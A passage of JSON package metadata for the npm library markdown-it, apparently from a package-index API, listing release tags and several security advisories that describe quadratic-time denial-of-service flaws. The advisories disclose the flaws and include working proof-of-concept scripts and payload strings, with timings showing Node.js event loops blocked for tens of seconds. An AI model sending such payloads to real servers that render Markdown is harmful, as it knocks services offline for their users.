eases/tag/3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/markdown-it/markdown-it@3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/3.1.0/manifests"},{"name":"3.0.7","sha":"e03f9586c3f355c596a908172d33a08ac6868daf","kind":"commit","published_at":"2015-02-22T05:25:04.000Z","download_url":"https://codeload.github.com/markdown-it/markdown-it/tar.gz/3.0.7","html_url":"https://github.com/markdown-it/markdown-it/releases/tag/3.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/markdown-it/markdown-it@3.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/3.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/3.0.7/manifests"},{"name":"3.0.6","sha":"01d22b245e60171a8db8564731f9d46ae6951187","kind":"commit","published_at":"2015-02-12T16:24:13.000Z","download_url":"https://codeload.github.com/markdown-it/markdown-it/tar.gz/3.0.6","html_url":"https://github.com/markdown-it/markdown-it/releases/tag/3.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/markdown-it/markdown-it@3.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/3.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/3.0.6/manifests"},{"name":"3.0.5","sha":"0dc415f1d24fbaf65c4bb95e533976a4dc7153a4","kind":"commit","published_at":"2015-02-06T19:34:41.000Z","download_url":"https://codeload.github.com/markdown-it/markdown-it/tar.gz/3.0.5","html_url":"https://github.com/markdown-it/markdown-it/releases/tag/3.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/markdown-it/markdown-it@3.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/3.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/3.0.5/manifests"},{"name":"3.0.4","sha":"bf846041fc6dbeaac82f47ce7ad04f9b054d368c","kind":"commit","published_at":"2015-01-13T20:15:19.000Z","download_url":"https://codeload.github.com/markdown-it/markdown-it/tar.gz/3.0.4","html_url":"https://github.com/markdown-it/markdown-it/releases/tag/3.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/markdown-it/markdown-it@3.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/3.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/3.0.4/manifests"},{"name":"3.0.3","sha":"a2e2d3958545aac1acbb3c97e94374a7c31f0249","kind":"commit","published_at":"2015-01-11T00:17:56.000Z","download_url":"https://codeload.github.com/markdown-it/markdown-it/tar.gz/3.0.3","html_url":"https://github.com/markdown-it/markdown-it/releases/tag/3.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/markdown-it/markdown-it@3.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/3.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/3.0.3/manifests"},{"name":"3.0.2","sha":"034997b9da608d33d548dc426ac86c42b83162b5","kind":"commit","published_at":"2015-01-08T23:26:29.000Z","download_url":"https://codeload.github.com/markdown-it/markdown-it/tar.gz/3.0.2","html_url":"https://github.com/markdown-it/markdown-it/releases/tag/3.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/markdown-it/markdown-it@3.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/3.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/3.0.2/manifests"},{"name":"3.0.1","sha":"f93089823c688b5468d4e67d20cd220524d341df","kind":"commit","published_at":"2015-01-07T22:04:33.000Z","download_url":"https://codeload.github.com/markdown-it/markdown-it/tar.gz/3.0.1","html_url":"https://github.com/markdown-it/markdown-it/releases/tag/3.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/markdown-it/markdown-it@3.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/3.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/3.0.1/manifests"},{"name":"3.0.0","sha":"801ad9795682b3ae0c830e692cfb8824bfaa14f9","kind":"commit","published_at":"2015-01-04T13:12:35.000Z","download_url":"https://codeload.github.com/markdown-it/markdown-it/tar.gz/3.0.0","html_url":"https://github.com/markdown-it/markdown-it/releases/tag/3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/markdown-it/markdown-it@3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/3.0.0/manifests"},{"name":"2.2.1","sha":"abaf0bd1c4878cec5e7ede75ea14804aebc6395a","kind":"commit","published_at":"2014-12-29T14:34:28.000Z","download_url":"https://codeload.github.com/markdown-it/markdown-it/tar.gz/2.2.1","html_url":"https://github.com/markdown-it/markdown-it/releases/tag/2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/markdown-it/markdown-it@2.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/2.2.1/manifests"},{"name":"2.2.0","sha":"8e098b4bd8598dea3e1eaa5d3b6c65219892f0dc","kind":"commit","published_at":"2014-12-28T20:35:59.000Z","download_url":"https://codeload.github.com/markdown-it/markdown-it/tar.gz/2.2.0","html_url":"https://github.com/markdown-it/markdown-it/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/markdown-it/markdown-it@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/2.2.0/manifests"},{"name":"2.1.3","sha":"fb5f6aaa03db1c71ef89967dce6b12a4fefc16b7","kind":"commit","published_at":"2014-12-24T18:00:16.000Z","download_url":"https://codeload.github.com/markdown-it/markdown-it/tar.gz/2.1.3","html_url":"https://github.com/markdown-it/markdown-it/releases/tag/2.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/markdown-it/markdown-it@2.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/2.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/2.1.3/manifests"},{"name":"2.1.2","sha":"c613c792c68f29008972ca37c49dadc29644dbbc","kind":"commit","published_at":"2014-12-23T04:04:43.000Z","download_url":"https://codeload.github.com/markdown-it/markdown-it/tar.gz/2.1.2","html_url":"https://github.com/markdown-it/markdown-it/releases/tag/2.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/markdown-it/markdown-it@2.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/2.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/2.1.2/manifests"},{"name":"2.1.1","sha":"e4bae86296155592a0a0518db737a905c778b944","kind":"commit","published_at":"2014-12-22T01:08:50.000Z","download_url":"https://codeload.github.com/markdown-it/markdown-it/tar.gz/2.1.1","html_url":"https://github.com/markdown-it/markdown-it/releases/tag/2.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/markdown-it/markdown-it@2.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/2.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/2.1.1/manifests"},{"name":"2.1.0","sha":"47f7f689ebfa28231d2ad0f867d6f01c7f63c3ae","kind":"commit","published_at":"2014-12-21T04:41:38.000Z","download_url":"https://codeload.github.com/markdown-it/markdown-it/tar.gz/2.1.0","html_url":"https://github.com/markdown-it/markdown-it/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/markdown-it/markdown-it@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/2.1.0/manifests"},{"name":"2.0.0","sha":"ca04a87059211c62c3ca76bcbbbd01fe85ae5c21","kind":"commit","published_at":"2014-12-19T23:42:22.000Z","download_url":"https://codeload.github.com/markdown-it/markdown-it/tar.gz/2.0.0","html_url":"https://github.com/markdown-it/markdown-it/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/markdown-it/markdown-it@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/2.0.0/manifests"}]},"repo_metadata_updated_at":"2026-10-25T04:44:15.453Z","dependent_packages_count":8475,"downloads":102736900,"downloads_period":"last-month","dependent_repos_count":205037,"rankings":{"downloads":0.05265140770643568,"dependent_repos_count":0.07392553344117334,"dependent_packages_count":0.011390008115380783,"stargazers_count":0.7815297876092044,"forks_count":0.9511478171158966,"docker_downloads_count":0.03756512291899623,"average":0.31803494615118116},"purl":"pkg:npm/markdown-it","advisories":[{"uuid":"GSA_kwCzR0hTQS1nZnIyLXJ2NDQtcjIzY84AB-ft","url":"https://github.com/advisories/GHSA-gfr2-rv44-r23c","title":"markdown-it: Quadratic-time rendering of a single multi-line link reference definition with default options (regression since 14.0)","description":"### Summary\n\nA link reference definition whose label or title is never closed is O(n²) in markdown-it 15.0.2 with default options. Continuation lines are pulled lazily with str += lineContent in src/rules_block/reference.ts, and the subsequent charCodeAt and slice calls flatten the V8 cons-string, copying everything collected so far; this runs before the rule decides the definition is invalid. It is a regression introduced by PR #1004 in 14.0.0: 13.0.2 processed a 313 KB input in 125 ms, while every version since takes about 11 seconds on the same input. At the sizes below, 200 KB takes 3.6 seconds, 400 KB takes 18.1 seconds, and 800 KB takes 74.0 seconds, which is roughly 4–5× per doubling. No options are required to trigger it.\n\n### Details\n\nsrc/rules_block/reference.ts appends continuation lines with str += lineContent at lines 74, 83, 100, 133, and 150, then keeps indexing the accumulated string via str.charCodeAt(pos) in the label and whitespace loops and str.slice(...) in parseLinkTitle. V8 represents += as a cons-string, and the next charCodeAt or slice flattens it, copying everything collected so far, so one definition spanning n lines costs O(n²). Isolation confirms the rule is responsible: block-only parsing with inline disabled is still quadratic, md.disable('reference') makes the same input linear, and the same text without the leading [ is linear. The fix is to track positions in state.src instead of building str, or to collect line slices in an array and parse across them. At minimum, stop scanning the label after 999 characters (CommonMark §6.3) before pulling more lines, and cap title continuation. Add a pathological test with a 100k-line unclosed title and label. Open PR #1215 edits the same file but its label check runs after the label loop, so it does not bound either variant and the fix can land together with that PR.\n\nThe observed output from PoC was:\nunclosed title n=100000   200009 B    3585.5 ms\nunclosed title n=200000   400009 B   18107.1 ms   (5.05x)\nunclosed title n=400000   800009 B   73954.4 ms   (4.08x)\n\nRegression comparison at 313 KB: 13.0.2 → 125 ms, 14.1.0 → 11.4 s, 15.0.0 → 10.6 s, 15.0.2 → 10.7 s.\n\n### Proof of concept\n\nHow to execute the PoC:\n1. mkdir -p markdown-it-poc \u0026\u0026 cd markdown-it-poc\n2. npm init -y\n3. npm i markdown-it@15.0.2\n4. node poc_markdown_it.js\n\nPoC below is:\n```javascript\n// poc_markdown_it.js\n// Requires: npm install markdown-it@15.0.2\nconst MarkdownIt = require('markdown-it');\nconst md = new MarkdownIt();\n\nfunction bench(label, src) {\n  const t0 = process.hrtime.bigint();\n  md.render(src);\n  const t1 = process.hrtime.bigint();\n  console.log(\n    `${label.padEnd(30)} ${String(src.length).padStart(9)} B ${(Number(t1 - t0) / 1e6).toFixed(1).padStart(9)} ms`\n  );\n}\n\n// Unclosed title: one reference definition spread over many lines\nfor (const n of [100000, 200000, 400000]) {\n  bench(`unclosed title n=${n}`, '[a]: /u \"' + 'x\\n'.repeat(n));\n}\n\n// Unclosed label\nfor (const n of [5000, 10000, 20000]) {\n  bench(`unclosed label n=${n}`, '[' + 'a\\n'.repeat(n));\n}\n```\n\n### Impact\n\nThis is an algorithmic-complexity denial of service (CWE-407). Any server that renders user Markdown with markdown-it is affected with default options, including comments, issues, chat, wikis, docs previews, and LLM chat UIs. A ~400 KB request body blocks the Node.js event loop for about 18 seconds and an ~800 KB body for about 74 seconds. This is the same class and attacker model as GHSA-253c, but it is reachable without any opt-in option, since the affected path is a core block rule.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-20T20:28:44.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/markdown-it/markdown-it/security/advisories/GHSA-gfr2-rv44-r23c","https://github.com/markdown-it/markdown-it/commit/48fbc465812c440020c663f040ab22deaf8f1eca","https://github.com/markdown-it/markdown-it/commit/d99f48839d37af6fd8a2617516c43dab90755503","https://github.com/markdown-it/markdown-it/releases/tag/14.3.3","https://github.com/markdown-it/markdown-it/releases/tag/15.0.3","https://github.com/advisories/GHSA-gfr2-rv44-r23c"],"source_kind":"github","identifiers":["GHSA-gfr2-rv44-r23c","CVE-2026-111758"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-20T21:00:07.783Z","updated_at":"2026-10-24T21:00:14.468Z","epss_percentage":0.00455,"epss_percentile":0.38514,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nZnIyLXJ2NDQtcjIzY84AB-ft","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nZnIyLXJ2NDQtcjIzY84AB-ft","packages":[{"ecosystem":"npm","package_name":"markdown-it","versions":[{"first_patched_version":"15.0.3","vulnerable_version_range":"\u003e= 15.0.0, \u003c 15.0.3"},{"first_patched_version":"14.3.3","vulnerable_version_range":"\u003e= 14.1.0, \u003c 14.3.3"}],"purl":"pkg:npm/markdown-it"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nZnIyLXJ2NDQtcjIzY84AB-ft/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12ZmdoLWpjbXctZzM3cc4AB-fs","url":"https://github.com/advisories/GHSA-vfgh-jcmw-g37q","title":"markdown-it: Quadratic-time denial of service in inline HTML parsing with html enabled","description":"### Summary\n\nWith `html: true`, markdown-it takes quadratic time to parse repeated unterminated HTML constructs inside a paragraph. This affects HTML comments (`\u003c!--`), processing instructions (`\u003c?`), declarations (`\u003c!A`), and CDATA sections (`\u003c![CDATA[`).\n\nAn attacker-controlled input of a few hundred kilobytes can block the Node.js event loop for seconds or tens of seconds. The default configuration has HTML disabled, but the `commonmark` preset enables it.\n\nThe issue was reported against the published `markdown-it@15.0.2` package on Node.js 20 and reproduced on the current source with Node.js 24.16.0.\n\n### Details\n\n`src/rules_inline/text.ts` treats `\u003c` as a terminator, causing the inline parser to attempt the HTML rule at successive HTML construct openers.\n\nWith HTML enabled, `src/rules_inline/html_inline.ts` applies an anchored regular expression to the remaining input:\n\n```js\nconst match = state.src.slice(pos).match(HTML_TAG_RE)\n```\n\nThe comment, processing instruction, declaration, and CDATA alternatives in `src/common/html_re.ts` scan the remaining input for their respective terminators: `--\u003e`, `?\u003e`, `\u003e`, and `]]\u003e`.\n\nWhen the terminator is absent, matching fails. Parsing eventually reaches the next opener and scans an overlapping suffix again. Repeating this across the paragraph produces quadratic total work. For these inputs, the problem is repeated scanning across separate matches.\n\nThe payload must reach inline parsing. Prefixing it with `x ` keeps it inside a paragraph. Starting a line directly with one of these constructs instead invokes HTML block parsing, which does not exhibit the same repeated inline scans for these payloads.\n\nThe existing `unclosed \u003c!--` test in `test/markdown-it/pathological.test.mjs` already contains a reproducer:\n\n```js\n'\u003c/' + '\u003c!--'.repeat(100000)\n```\n\nHowever, it runs with default options, where HTML is disabled.\n\nA fix should avoid repeated searches for absent terminators across all four affected alternatives, for example by caching failed searches on the inline state. Fixing only the comment alternative leaves the other three cases affected. Regression coverage should exercise all four with `html: true`.\n\nThe original report was submitted by [@JarLob](https://github.com/JarLob). It credits the [GitHub Security Lab Taskflow Agent](https://github.com/GitHubSecurityLab/seclab-taskflow-agent) as part of the [GitHub Secure Open Source Fund](https://github.com/open-source/github-secure-open-source-fund).\n\n### Proof of concept\n\nInstall the affected package in an empty directory:\n\n```sh\nnpm install markdown-it@15.0.2\n```\n\nSave the following as `poc.mjs` and run `node poc.mjs`:\n\n```js\nimport MarkdownIt from 'markdown-it'\nimport { performance } from 'node:perf_hooks'\n\nconst mdHtml = new MarkdownIt({ html: true })\nconst mdDefault = new MarkdownIt()\nconst sizes = [8000, 16000, 32000, 64000]\n\nfunction measure(md, src) {\n  const start = performance.now()\n  md.render(src)\n  return (performance.now() - start).toFixed(1)\n}\n\nconst variants = {\n  comment: '\u003c!--',\n  processing: '\u003c?x',\n  declaration: '\u003c!A',\n  cdata: '\u003c![CDATA['\n}\n\nfor (const [name, opener] of Object.entries(variants)) {\n  console.log(`\\n${name}`)\n  for (const n of sizes) {\n    const src = 'x ' + opener.repeat(n)\n    console.log({\n      n,\n      bytes: Buffer.byteLength(src),\n      ms: measure(mdHtml, src)\n    })\n  }\n}\n\nconst n = sizes.at(-1)\nconst controls = {\n  'HTML disabled': [mdDefault, 'x ' + '\u003c!--'.repeat(n)],\n  'Closed comments': [mdHtml, 'x ' + '\u003c!----\u003e'.repeat(n)],\n  'HTML block': [mdHtml, '\u003c!--'.repeat(n)],\n  'Plain text': [mdHtml, 'x ' + 'abcd'.repeat(n)]\n}\n\nfor (const [name, [md, src]] of Object.entries(controls)) {\n  console.log({ control: name, ms: measure(md, src) })\n}\n\nconst repoPayload = '\u003c/' + '\u003c!--'.repeat(100000)\nconsole.log({\n  payload: 'Existing pathological test',\n  htmlFalseMs: measure(mdDefault, repoPayload),\n  htmlTrueMs: measure(mdHtml, repoPayload)\n})\n```\n\nMeasurements from the original report on `markdown-it@15.0.2`, Node.js 20:\n\n| Construct | 8,000 repetitions | 64,000 repetitions |\n| --- | ---: | ---: |\n| Comment | 170 ms | 8,799 ms |\n| Processing instruction | 26 ms | 1,566 ms |\n| Declaration | 93 ms | 5,628 ms |\n| CDATA | 119 ms | 4,179 ms |\n\nAn eightfold increase in repetitions produces approximately 35–60 times the execution time, consistent with quadratic growth becoming dominant.\n\nFor the comment payload at 64,000 repetitions:\n\n- HTML disabled: 25 ms.\n- Closed comments: 29 ms.\n- Payload at the start of an HTML block: 1 ms.\n- Plain text: 1 ms.\n\nThe existing pathological-test payload with 100,000 comment openers took 33 ms with HTML disabled and 21,030 ms with HTML enabled. A separate comment payload with 128,000 repetitions, approximately 500 KiB, took 32,847 ms.\n\nExact timings depend on the runtime and hardware.\n\n### Impact\n\nThis is an availability issue affecting applications that render attacker-controlled Markdown with `html: true`, including applications using the `commonmark` preset.\n\nOn Node.js, a synchronous `render()` call can occupy a CPU core and block the event loop for seconds or tens of seconds, delaying other requests handled by the same process. Repeated submissions can cause denial of service. Browser applications can similarly become unresponsive when rendering on the main thread.\n\nSanitizing the generated HTML afterwards does not prevent the issue because the expensive processing occurs during Markdown rendering.\n\nThe default configuration, with HTML disabled, is unaffected by these payloads. Disabling HTML or limiting input size can reduce exposure while a fix is prepared.\n\nThe reported affected release is `15.0.2`; the full affected version range has not been established.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-10-20T20:08:19.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":3.7,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L","references":["https://github.com/markdown-it/markdown-it/security/advisories/GHSA-vfgh-jcmw-g37q","https://nvd.nist.gov/vuln/detail/CVE-2026-111766","https://github.com/markdown-it/markdown-it/commit/928bc8c11ded60181c0e7fc5aa954eec582e8e79","https://github.com/markdown-it/markdown-it/commit/d99f48839d37af6fd8a2617516c43dab90755503","https://github.com/markdown-it/markdown-it/releases/tag/14.3.3","https://github.com/markdown-it/markdown-it/releases/tag/15.0.3","https://github.com/advisories/GHSA-vfgh-jcmw-g37q"],"source_kind":"github","identifiers":["GHSA-vfgh-jcmw-g37q","CVE-2026-111766"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-20T21:00:07.783Z","updated_at":"2026-10-26T21:00:14.194Z","epss_percentage":0.00428,"epss_percentile":0.3675,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12ZmdoLWpjbXctZzM3cc4AB-fs","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12ZmdoLWpjbXctZzM3cc4AB-fs","packages":[{"ecosystem":"npm","package_name":"markdown-it","versions":[{"first_patched_version":"15.0.3","vulnerable_version_range":"\u003e= 15.0.0, \u003c 15.0.3"},{"first_patched_version":"14.3.3","vulnerable_version_range":"\u003c 14.3.3"}],"purl":"pkg:npm/markdown-it"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12ZmdoLWpjbXctZzM3cc4AB-fs/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yN2Z2LTI4aDQtY3ZxN84AB-de","url":"https://github.com/advisories/GHSA-r7fv-28h4-cvq7","title":"markdown-it: Quadratic complexity in smartquotes with unmatched closing quotes","description":"### Impact\n\nWhen `typographer: true` is enabled, specially crafted Markdown can cause quadratic processing time in the smartquotes rule, potentially leading to denial of service in applications processing untrusted input.\n\nMany opening double quotes followed by unmatched closing single quotes cause repeated scans of the entire opener stack. The same issue occurs with the quote types reversed.\n\nThe default configuration (`typographer: false`) is not affected, but this option is enabled with high probability.\n\n### Reproduction\n\n```js\nimport MarkdownIt from 'markdown-it'\nimport { performance } from 'node:perf_hooks'\n\nconst md = new MarkdownIt({ typographer: true })\n\nfor (const k of [2000, 4000, 8000, 16000, 32000]) {\n  const input = '\"a '.repeat(k) + \"b' \".repeat(k)\n  const start = performance.now()\n  md.render(input)\n  console.log(input.length, (performance.now() - start).toFixed(1), 'ms')\n}\n```\n\nResult:\n\n|input size|time|\n|-|-|\n|12000|18ms|\n|24000|47ms|\n|48000|115ms|\n|96000|428ms|\n|192000|1586ms|\n\n### Patches\n\nFixed in **15.0.2** and **14.3.2**.\n\n### Workarounds\n\nDisable typography with `typographer: false`, or disable only the smartquotes rule:\n\n```js\nmd.disable('smartquotes')\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-20T14:34:50.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/markdown-it/markdown-it/security/advisories/GHSA-r7fv-28h4-cvq7","https://nvd.nist.gov/vuln/detail/CVE-2026-111759","https://github.com/markdown-it/markdown-it/commit/1b379c1b6d0522421bd1a51b77337c79af2c8670","https://github.com/markdown-it/markdown-it/commit/cf27366035edf9196667110c47d9d67b030a4152","https://github.com/markdown-it/markdown-it/commit/daf5a3c32303e5d9de01b12eeb725fb5990b8162","https://github.com/markdown-it/markdown-it/releases/tag/14.3.2","https://github.com/markdown-it/markdown-it/releases/tag/15.0.2","https://github.com/advisories/GHSA-r7fv-28h4-cvq7"],"source_kind":"github","identifiers":["GHSA-r7fv-28h4-cvq7","CVE-2026-111759"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-20T15:00:08.237Z","updated_at":"2026-10-26T21:00:16.201Z","epss_percentage":0.00591,"epss_percentile":0.47952,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yN2Z2LTI4aDQtY3ZxN84AB-de","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yN2Z2LTI4aDQtY3ZxN84AB-de","packages":[{"ecosystem":"npm","package_name":"markdown-it","versions":[{"first_patched_version":"14.3.2","vulnerable_version_range":"\u003c 14.3.2"},{"first_patched_version":"15.0.2","vulnerable_version_range":"\u003e= 15.0.0, \u003c 15.0.2"}],"purl":"pkg:npm/markdown-it"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yN2Z2LTI4aDQtY3ZxN84AB-de/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yNTNjLW1jaHctM3cycs4AB6_o","url":"https://github.com/advisories/GHSA-253c-mchw-3w2r","title":"markdown-it linkify: true has two quadratic paths, so a few hundred KB of markdown blocks the event loop for tens of seconds","description":"## Summary\n\nTwo independent quadratic paths in the `linkify: true` handling. Both are in markdown-it's own code rather than in linkify-it, which stays linear on both payloads.\n\n`src/rules_core/linkify.ts` calls `arrayReplaceAt` once per linkified text token, and that rebuilds the whole `children` array each time. A paragraph of N soft-broken lines is one inline token with about 2N children, so you get N rebuilds over a 2N array. Schema-less emails are what reach it. A `http://` link gets consumed by the inline rule first and never arrives as a text token, so those stay linear.\n\n`src/rules_inline/linkify.ts` runs `state.pending.match(SCHEME_RE)` at every `://` in the source. `state.pending` only gets truncated once a link is actually produced, so an unregistered scheme leaves it growing and every `://` rescans the lot.\n\n## Proof of concept\n\nClean install of 15.0.0 from npm, `new MarkdownIt({ linkify: true }).render(payload)`, Node 24.\n\n| N | 5,000 | 10,000 | 20,000 | 40,000 |\n|---|---|---|---|---|\n| `'a@b.co\\n'.repeat(N)`, 34KB to 273KB | 1.1s | 4.7s | 19.6s | 89s |\n| `'a://'.repeat(N)`, 20KB to 156KB | 0.25s | 0.76s | 3.1s | 15.0s |\n\nDoubling the input roughly quadruples the time in both. With `linkify: false` the same inputs run in 25 to 131ms and stay flat.\n\nControls for the first one, all at N=20000: putting every email in a single text token (`'a@b.co '`) takes 0.59s, one email per paragraph (`'a@b.co\\n\\n'`) takes 0.64s, and soft-broken lines with nothing linkifiable take 42ms. So it needs many children AND many of them linkifying. For the second, replaying just the `SCHEME_RE` calls against the same growing prefixes with no markdown-it involved accounts for 11.7s of the 15s.\n\nOrdinary prose does it too. `'ping a@b.co ok\\n'.repeat(20000)` is 293KB and takes 31s.\n\n## Caveat\n\n`linkify` is off by default, so this only reaches apps that turn it on.\n\n## Impact\n\nAvailability only. A few hundred KB of fairly ordinary markdown pins one core for tens of seconds, and because it's quadratic it degrades quickly with size. Nothing is read, written or executed.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-29T17:57:56.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/markdown-it/markdown-it/security/advisories/GHSA-253c-mchw-3w2r","https://github.com/markdown-it/markdown-it/commit/09fa07118dda4c953f058848f53dae88395618ca","https://github.com/markdown-it/markdown-it/commit/aaadcfa6d817b3c5f89afb49d97c7b797a6dd4fd","https://github.com/markdown-it/markdown-it/commit/ad70f6b7cff64bee10e42a774147112480ca0d49","https://github.com/advisories/GHSA-253c-mchw-3w2r"],"source_kind":"github","identifiers":["GHSA-253c-mchw-3w2r"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-29T18:00:08.791Z","updated_at":"2026-10-18T11:01:21.393Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yNTNjLW1jaHctM3cycs4AB6_o","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yNTNjLW1jaHctM3cycs4AB6_o","packages":[{"ecosystem":"npm","package_name":"markdown-it","versions":[{"first_patched_version":"14.3.1","vulnerable_version_range":"\u003c 14.3.1"},{"first_patched_version":"15.0.1","vulnerable_version_range":"= 15.0.0"}],"purl":"pkg:npm/markdown-it"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yNTNjLW1jaHctM3cycs4AB6_o/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02djV2LXdmMjMtZm1mcc4ABYsa","url":"https://github.com/advisories/GHSA-6v5v-wf23-fmfq","title":"markdown-it: Quadratic complexity 